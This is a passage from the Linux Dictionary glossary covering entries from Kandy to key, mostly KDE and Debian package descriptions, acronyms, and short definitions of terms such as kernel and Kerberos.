Mobile phone utility for KDE At the moment Kandy is more or less a terminal program with some special features to store commands and their parameters, but is also has a simple GUI to access the phone book of a mobile phone and it is able to save this phone book to the KDE address book. Kandy is aimed at mobile phones with integrated (GSM) modems. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kannel

WAP and SMS gateway Kannel is a gateway for connecting WAP (Wireless Application Protocol) phones to the Internet. It also works as an SMS gateway, for providing SMS based services for GSM phones. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kapptemplate

creates a framework to develop a KDE application KAppTemplate is a shell script that will create the necessary framework to develop various KDE applications. It takes care of the autoconf/automake code as well as providing a skeleton and example of what the code typically looks like. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kaptain

Graphical front-end for command line programs (KDE version) Kaptain is a universal graphical front-end (KDE) based on context-free grammars. The program kaptain reads a file containing grammatical rules for generating text. It builds a dialog from the grammar and generates the text according to the user's settings. There's also Qt version of this package (captain) if you don't want to

install KDE libraries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KARL

??? [hardware description language] (HDL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

karm

A time tracker for KDE KArm is a time tracker for busy people who need to keep track of the amount of time they spend on various tasks. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

karpski

ethernet analyzer and sniffer This is a GTK based packet analyzer. Its abilities as a sniffer or scanner are limited, but this sniffer is much easier to use than other popular sniffers such as tcpdump. In addition, there is a protocol definition file in which other protocols can be added. Karpski may also be used to launch programs against addresses on your local network and as a local network intrusion tool. For more information: <http://mojo.calyx.net/~btx/karpski.html> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kascade

Client for Kascade, a distributed Open directory search-engine Kascade is a novel type of search-engine, based on the Open directory principle. This means that anyone can structure a small part of the information on the internet, corresponding to their personal interests or expertise. The resulting parts are placed in a large categorical structure that others can browse to search for information. Examples of Open Directory initiatives are Dmoz and Infomarker. In contrast with other Open Directory initiatives, though, the parts that people maintain now reside on their own server. What results is a distributed Open Directory! As with Gnutella, though, there are no fixed central servers. This implies that anyone can start a new structure. Actually any piece can be easily replaced, hopefully leading to competitive improvement. The distributed nature and lack of central control facilities make for a system immune to company or government control, much like Gnutella and the Internet itself. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kasteroids

Asteroids for KDE You know this game. It is based on Warwick Allison's QwSpriteField widget. The objective of kasteroids is to destroy all the asteroids on the screen to advance to the next level. Your ship is destroyed if it makes contact with an asteroid. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kate

text editor for KDE Kate is a fast text editor for the KDE desktop with an Emacs-style document interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kate-plugins

plugins for Kate, the KDE text editor This package contains a variety of useful plugins for Kate, the Emacs-styled text editor for KDE. The plugins can be loaded through the plugin manager in Kate settings. Highlights include HTML tag insertion, insertion of shell command output, opening of include files, a project manager and a text filter. This package is part of the KDE addons module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

katomic

The Atomic Entertainment Handbook This is a puzzle game, in which the object is to assemble a molecule from its atoms on a Sokoban-like board. On each move, an atom goes as far as it can in a specified direction before being stopped by a wall or another atom. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KB

KiloByte From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kb

See kilobit (Kb). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KB

See kilobyte (KB). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbabel

a PO-file editor for KDE KBabel is a gettext message (PO file) editor for KDE. It is designed to make editing and managing PO files easy. It includes full navigational and editing capabilities, syntax checking and statistics. A catalog manager is also included, which allows you to keep track of many PO files at once. KBabel is designed to help you to translate fast and consistently. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbackgammon

A Backgammon game for KDE KBackgammon is a backgammon program for KDE2. It is based on the code, ideas and concepts of KFibs (which is a FIBS client for KDE1). For a short time, KBackgammon was called bacKgammon (if you know somebody who is still using bacKgammon, please force them to upgrade :-)). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbackup

A console single host backup solution for various media From the Documentation: It is one of the most powerful backup packages around, supporting a wide range of devices and options. For reasons of portability and reliability it uses the well-established afio and tar programs for writing archives. It greatly extends the capabilities of these archive handlers, providing all the features you might expect from a full-fledged backup system. It can be easily and extensively configured and operated with a user friendly menu interface and can also run automatically for doing scheduled backups without user interaction. Among the features are: compressed archives, encrypted archives, double buffering, automatic handling of multi-volume archives, tape archives, floppy archives, hard disk archives, file archives, incremental backups, scheduled backups, extensive manual. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbackup-multibuf

Multibuf extends kbackup for multiple volumes multibuf is a tape archive manager which provides the capability of extending a single logical archive over multiple physical media volumes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbattleship

Battleship game for KDE This is an implementation of the Battleship game. Each player tries to be the first to sink all the opponent's ships by firing "blindly" at them. The game has options to play over a network connection or against the computer. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbd

Linux console font and keytable utilities. This package allows you to set up the Linux console, change the font, resize text mode virtual consoles and remap the keyboard. It now contains the `openvt` program, formerly known as `open`. It now contains the `kbrate` program, formerly part of the `util-linux` package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbd

The kbd package contains tools for managing a Linux system's console's behavior, including the keyboard, the screenfonts, the virtual terminals and font files. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbd-compat

Wrappers around console-tools for backward compatibility with `kbd`. This package provides the following wrapper scripts, for compatibility with old `kbd` package, for programs which depends on

the former's command-line interfaces: setfont, loadunimap, saveunimap, mapscrn. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbdconfig

The kbdconfig utility is a terminal mode program which provides a simple interface for setting the keyboard map for your system. You need keyboard maps to use any keyboard other than the US default keyboard. Kbdconfig will load the selected keymap before exiting and configure your machine to use that keymap automatically after rebooting. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbdrate

reset the keyboard repeat rate and delay time From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbd_mode

report or set the keyboard mode From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbear

Graphical ftp client for KDE KBear is a graphical ftp client with ability to connect to multiple hosts simultaneously. You can copy/move files or directories between the hosts by drag and drop or cut and paste. It also has a dynamic site database. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kbedic

K Bulgarian/English Dictionary KBE Dictionary is an electronic dictionary with graphical user interface. It can translate words from English to Bulgarian and from Bulgarian to English. You can use it to learn English too -- it can examine you. The dictionary databases are not included in this package. You have to download bedic-data.tar.gz from <http://kbedic.sourceforge.net/download.php>. Install the files buleng.dat and engbul.dat in /usr/local/share/bedic. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kblackbox

A simple logical game for the KDE project KBlackBox is a game of hide and seek played on an grid of boxes. Your opponent (Random number generator, in this case) has hidden several balls within this box. By shooting rays into the box and observing where they emerge it is possible to deduce the positions of the hidden balls. The fewer rays you use to find the balls, the lower your score. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KBPS

KiloBits Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kbps

One Thousand bps, actual number is 1024 bps. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KBS

Knowledge-Based System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcalc

A KDE pocket calculator. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcc

Kanji code filter kcc can converts various Japanese encodings such as EUC-JP, 7bitJIS, 8bitJIS and ShiftJIS with Half-width Kana supports. kcc can detect these encoding automatically as much as possible. Sponsored by Fumitoshi UKAI <ukai@debian.or.jp> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KCC

Knowledge Consistency Checker (AD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcd

Linux Dictionary

a CD player applet for KDE Kicker Kcd provides a docklet for the KDE Kicker which has some controls (previous, play, pause, stop, next, eject) and displays elapsed/remaining play-time. It also features CDDDB support. This is an early development version for testing purposes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KCGI

Kyocera ??? (Kyocera) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KCGL

KyoCera Graphic Language (Kyocera) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcharselect

KDE Character Selector – allows you to enter characters not found on your keyboard. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcharselect

KDE character selector. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kchart

a chart drawing program for the KDE Office Suite From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kchart

a chart drawing program for the KDE Office Suite KChart is a chart drawing application. This package is part of the KDE Office Suite. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcmlinux

KDE Frontend for the Linux kernel configuration kcmlinux is a KDE based frontend to Linux kernel configuration. It runs out of the KDE Control Center. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcolorchooser

Colour chooser for KDE. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcoloredit

An editor for palette files This is a color palette editor for KDE. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcoloredit

Colour editor for KDE. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcpuload

a CPU meter for Kicker A simple CPU meter for the KDE Kicker which displays percent usage, with support for SMP and separate user/system loads. It will show the CPU usage in form of one or two configurable diagrams. There are settings for colors and some different styles. Note that it isn't the real system load that's shown, but the percent used of the total CPU power, which is calculated from the number of CPU ticks. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcron

Crontab editor for KDE Crontab editor for KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kcron

Views and sets cron daemon configuration. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdbg

Graphical debugger interface KDbg is a graphical user interface to gdb, the GNU debugger. It provides an intuitive interface for setting breakpoints, inspecting variables, and stepping through code. KDbg requires KDE but you can of course debug any program. Features: * Inspection of variable values in a tree structure. * Direct member: For certain compound data types the most important member values are displayed next to the variable name, so that it is not necessary to expand

the subtree of that variable in order to see the member value. KDbg can also display Qt 2's QString values, which are Unicode strings. * Debugger at your finger tips: The basic debugger functions (step, next, run, finish, until, set/clear/enable/disable breakpoint) are bound to function keys F5 through F10. Quick and easy. * View source code, search text, set program arguments and environment variables, display arbitrary expressions. * Debugging of core dumps, attaching to running processes is possible. * Conditional breakpoints. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdbg

KDbg is a graphical user interface to gdb, the GNU debugger. It provides an intuitive interface for setting breakpoints, inspecting variables, and stepping through code. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDC

Key Distribution Center, Verschlusselung From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDC

see key distribution center (KDC). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDD

Kokusai Denshin Denwa (org., Japan) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDE

K Desktop Environment (Linux, KDE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kde

The K Desktop Environment A metapackage containing dependencies for the core suite of KDE including kdelibs, kdebase, kadmin, kgraphics, kdemultimedia, kdenetwork, kdepin, koffice, and kdeutils. Provides Suggests and Recommends for all other KDE based packages. Does not contain depends for Toys, Games, or Development packages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDE (K Desktop Environment)

One of several user interfaces (window managers) for Linux, built with Qt. For more on KDE, go to www.kde.org. (Also, see AfterStep, Enlightenment, GNOME and X Window System.) From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDE Desktop Environment

a completely new desktop, incorporating a large suite of applications for Unix workstations. While KDE includes a window manager, file manager, panel, control center and many other components that one would expect to be part of a contemporary desktop environment, the true strength of this exceptional environment lies in the interoperability of its components. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kde-designer

Qt GUI Designer (With KDE Widget support) This package contains Qt Designer. Qt Designer is a tool that makes designing and implementing user interfaces a lot easier. With Qt Designer, you will learn how to create your own dialogs and how to arrange the user interface elements in the dialogs so that the dialogs look both nice and natural and can accommodate various environments, like different languages and user settings. This package contains KDE widget support From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kde-devel

The K Desktop Environment (development files) A metapackage containing dependencies for the core development suite of KDE including libqt-dev, kdelibs-dev and all other core KDE development packages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kde-extras

The K Desktop Environment (extras) A metapackage containing dependencies for the non-core KDE packages including those packages which may not be suitable for all users. This may also include packages which could potentially open up security risks or depend on packages which may. This would include packages such as klisa, kwuftp, ktalkd, and lilo-config. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeaddons-kicker

Plugins and additional applets for Kicker (the KDE panel) From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeaddons-knewsticker

Scripts extending the functionality of KNewsTicker From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeaddons-konqueror

Plugins extending the functionality of Konqueror. kdeaddons-konqueror contains, among other things, plugins for translating webpages, checking web pages for valid HTML code, and viewing the DOM tree of web pages. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeadmin

The kdeadmin package contains packages that usually only a system administrator might need: <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeartwork

Additional artwork (themes, sound themes, ...) for KDE From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdebase

Core applications for the K Desktop Environment. Included are: kdm(replacement for xdm), kwin (window manager), konqueror (filemanager, web browser, ftp client, ...), konsole (xterm replacement), kpanel (application starter and desktop pager), kaudio (audio server), kdehelp (viewer for kde help files, info and man pages), kthememgr (system for managing alternate theme packages) plus other KDEcomponents (kcheckpass, kikbd, kscreensaver, kcontrol, kfind, kfontmanager, kmenuedit). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdebase

Core applications for the K Desktop Environment. Here is an overview of the directories: <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdebase-crypto

KDE crypto control module This package contains the crypto control module for KDE which allows for configuration of SSL settings. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdebase-libs

KDE libraries and modules for kdebase This package contains the different interface modules and libraries provided by the kdebase package. These includes interfaces to pop3, nntp and others. This package also contains kdesu. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdecarddecks

Card decks for KDE games Several different collections of card images for use by KDE games. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdegames

Games and gaming libraries for the K Desktop Environment. Included with this package are: kenolaba, kasteroids, kblackbox, kmahjongg, kmines, konquest, kpat, kpoker, kreversi, ksame, kshisen, ksokoban, ksmiletris, ksnake, ksirtet, katomic, kjumpingcube, ktuberling. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdegraphics

Graphical tools for the K Desktop Environment. kdegraphics is a collection of graphic oriented applications: <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdelibs

Libraries for the K Desktop Environment. KDE Libraries include: kdecopre (KDE core library), kdeui (userinterface), kfm (file manager), khtmlw (HTML widget), kio (Input/Output, networking), kspell (spelling checker), jscript (javascript), kab (addressbook), kimgio (image manipulation). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdemultimedia

Multimedia tools for the K Desktop Environment.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdenetwork

Networking applications for the K Desktop Environment. – kdickt: graphical client for the DICT protocol. – kit: AOL instant messenger client, using the TOC protocol – kmail: universal mail client – kmailcv: convert addressbooks to kmail format – knewsticker: RDF newsticker applet – knode: online newsreader – korn: new mail notification tool – kpf: public fileservier applet – ksirc: IRC client – ktalkd: talk daemon – kxmlrpc: KDE XmlRpc Daemon – lanbrowsing: lan browsing kio slave – krfb: Desktop Sharing server, allow others to access your desktop via VNC – krdc: a client for Desktop Sharing and other VNC servers From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdepalettes

palettes that match the KDE standard colour palette KDEPalettes provides palettes for both the Gimp and Xpaint that match the KDE standard color palette. They may be useful for designing themes and icons. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdepasswd

A Password changer frontend for KDE This is a simple app for users to change their system passwords with. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdepasswd

KDE frontend to changing your password and other user data. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdepim

A PIM (Personal Information Manager) for KDE. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdepim

Information Management applications for the K Desktop Environment.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdesdk

KDE Software Development Kit This is a collection of applications and tools used by KDE developers. It also has example code for use in learning KDE programming or starting a new KDE application. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdessh

Frontend to ssh for KDE This is a frontend to ssh designed for use with KDE. This program is designed for the purpose of executing commands on a remote system using ssh. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdestudio

a powerful development environment for KDE KDE Studio is an integrated development environment for the KDE. It delivers a full-fledged IDE for the development of sophisticated C++ KDE applications – including the high utility features you expect from a modern development environment, such as code completion, dynamic syntax highlighting and popup function parameter lookup. Debugging is simplified by tight integration with kdbg in the IDE. KDE Studio supports

complex projects, composed of multiple executables, static or shared libraries, all in one centralized workspace, including support for multiple targets from a single project. You can explore the structure of your classes with an intuitive tree view. Functions and data members are exposed for a quick understanding of library structures. The class tree is updated on the fly while you type your code.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdetoys

Toys for the K Desktop Environment. Software included in this package are:

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdeutils

Utilities for the K Desktop Environment. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdevelop

An IDE for Unix/X11 KDevelop is an easy to use Integrated Development Environment for developing C/C++ applications under X11. It features project management, an advanced editor, a class browser and an integrated debugger. The application wizard can generate fully functional projects for terminal programs and GUI programs using Qt, KDE or GNOME. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdevelop

The KDevelop Integrated Development Environment provides many features that developers need as well as providing a unified interface to programs like gdb, the C/C++ compiler, and make. KDevelop manages or provides:

- * All development tools needed for C++ programming like Compiler, Linker, automake and autoconf
- * KAppWizard, which generates complete, ready-to-go sample applications
- * Classgenerator, for creating new classes and integrating them into the current project
- * File management for sources, headers, documentation etc. to be included in the project
- * The creation of User-Handbooks written with SGML and the automatic generation of HTML-output with the KDE look and feel
- * Automatic HTML-based API-documentation for your project's classes with cross-references to the used libraries; Internationalization support for your application, allowing translators to easily add their target language to a project
- * WYSIWYG (What you see is what you get) creation of user interfaces with a built-in dialog editor
- * Debugging your application by integrating KDbg
- * Editing of project-specific pixmaps with KIconEdit
- * The inclusion of any other program you need for development by adding it to the "Tools" menu according to your individual needs.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdewallpapers

Some wallpapers for KDE The wallpapers that come with KDE, but can be used everywhere else as well From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdf

Disk space GUI for KDE This program shows the disk usage of the mounted devices. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdf

kdeutils-kdf contains the kdf, kwikdisk and kcmdf tools for monitoring available diskspace. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdickt

dict client based on KDE/Qt kdickt is an advanced kde graphical client for the DICT Protocol, with full unicode support. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDM

K Display Manager (KDE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdm

The K Desktop Manager The K Desktop Manager kdm manages a collection of X servers, which may be on the local host or remote machines. It provides services similar to those provided by init, getty, and login on character-based terminals: prompting for login name and password, authenticating the user, and running a session. kdm supports XDMCP (X Display Manager Control Protocol) and can

also be used to run a chooser process which presents the user with a menu of possible hosts that offer XDMCP display management. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdoc

C++ and IDL Source Documentation System KDOC creates cross-referenced documentation for C++ and CORBA IDL libraries directly from the source. Documentation can be embedded in special documents in the source. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdrill

A Kanji drill and dictionary program Offers lot of options like guessing kanji, guessing meaning, by grade or even from a selected kanji list. You can even practice your kana. A kanjidic is essential to run this program although you can specify your own dictionary on the command line. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KDT

Keyboard Display Terminal From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kdvi

A DVI (TeX output) file viewer for KDE. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kedit

A simple text editor for KDE A simple text editor for KDE From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kedit

An easy to use text editor From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Keeper Linux

Keeper Linux fits on two floppy disks. It is designed for use in specific application areas, such as dedicated network gateways, firewalls and the administration of remote systems. Release 1.1a came out March 14, 2002. Version KLX-2.01, released April 23, 2002, boots directly from CDROM with its root filing system in ramdisk (no hard disk required). A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kerberos

An authentication standard. History: Developed at MIT in the 1980s as part of its project Athena (the netpc product that also spawned X Windows and other technologies). Kerberos has long been available as an add-on to virtually all UNIX systems. Version 4 was discovered to be insecure, and was followed by version 5. Microsoft implemented a variant of version 5 in Win2k. Key point: Microsoft's implementation in Win2k is not quite standard in much the same way that its implementations of PPP, PPTP, IPsec, etc. all make use of proprietary extensions. Kerberos: DES

From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kerberos

Network authentication system developed by the Massachusetts Institute of Technology to control access to services and applications. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kerberos

The authentication system of MIT's Project Athena. It is based on symmetric key cryptography.

Adopted by OSF as the basis of security for DME. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kermit

A terminal program and file transfer protocol, kermit can be used to download files from a remote system to your home computer. Kermit is distinguished by it's ability to transfer files over telnet and other connections that would corrupt a binary transfer. It is often available as a Unix command. From

KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kermit

An asynchronous communications protocol that makes the error-free transmission of program files via the telephone system easier. Developed by Columbia University and placed in the public domain, Kermit is used by academic institutions because, unlike XMODEM, Kermit can be implemented on mainframe systems that transmit 7 bits per byte. See communications protocol. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KERMIT

K1-10 Error-free Reciprocal Micro Interconnect over Tty lines From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kernel

In an operating system, the core portions of the program that reside in memory and perform the most essential operating system tasks, such as handling disk input output operations and managing the internal memory. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel

Part of an operating system that implements the interaction with hardware and the sharing of resources. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kernel

The core of the operating system, upon which all other components rely. The kernel manages such tasks as low-level hardware interaction and the sharing of resources, including memory allocation, input/output, security, and user access. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel

The core of the operating system. The kernel has complete control over everything that happens. When your computer crashes, it means the kernel has crashed. If only a single program crashes but the rest of the system remains running, then the kernel itself hasn't crashed. The kernel is designed to coordinate among the different components of the operating system, such as disk drive, networking, keyboard, and running programs. Key point: The kernel is responsible for security, preventing one program from one user from breaking into other programs running on the same system. All systems except the older Mac and Windows do not provide this level of security. Key point: The kernel itself does not interact with the user. For example, the word "Linux" really means just the kernel. What we see in Linux distributions is actually the kernel plus a whole bunch of UNIX-like applications built on top of it. Contrast: There are two modes your software might be running in. Kernel mode is running within the context of the kernel itself, and describes not only the kernel but also device drivers. User mode is the context the rest of the software runs in. The key point is that when you are running in kernel mode, you've got access to the entire system and nobody can stop you. However, when you are running in user mode (especially when not logged in as root), then the kernel imposes security on your activity. This means that if you break into a normal HTTP server, you may not actually be able to break into the entire machine. However, newer versions of the Linux kernel are putting things like HTTP servers into the kernel itself (for performance reasons). An exploitable flaw in such services will allow the entire machine to be compromised. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel

The critical piece of an operating system; performs the basic functions that more advanced functions depend on. Linux is based on the kernel developed by Linus Torvalds and a group of core developers. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel

the fundamental part of the operating system that handles resource management, process control, and Input/Output (I/O) support. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel

The kernel package contains the Linux kernel (vmlinuz), the core of the Red Hat Linux operating system. The kernel handles the basic functions of the operating system: memory allocation, process allocation, device input and output, etc. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kernel headers

The header files define structures and constants that are needed for building most standard programs. The header files are also needed for rebuilding the kernel. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernel-source

The kernel-source package contains the source code files for the Linux kernel. These source files are needed to build most C programs, since they depend on the constants defined in the source code. The source files can also be used to build a custom kernel that is better tuned to your particular hardware.

From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernellab

Manage kernel configs for many machines easily Kernellab allows you to manage kernel configurations for a large number of heterogeneous machines relatively easily. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kernelversion

program to report major version of kernel From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KES

Key Escrow System (cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ketm

An old-school 2d-scrolling shooter A bicolor/hiresolution classical game that has similarities with Raptor, Tyrian and Galaga. You are a spacepilot controlling your secret prototype ship. At regular intervals you get attacked by the bad guys. You have a mission to clean this sector from them (ie. Kill Everything That Moves). Be sure to pick up some weapon and ship upgrades on the way. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kexample

a simple KDE demo application for programmers This package provides KLess, a simple KDE demo application with heavily documented source code. KLess is a basic text viewer. This package is part of the KDE Software Development Kit. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

key

In cryptography, the value needed to encrypt and/or decrypt something. It is usually a number or a short string less than 20 characters long. Contrast: People are confused as to the difference between a key and a password. A key is a large number whereas a password is simply a series of letters (and possibly digits and punctuation). Since cryptography only uses keys, the password is generally converted to a number through the use of an appropriate mathematical function, like a hash.

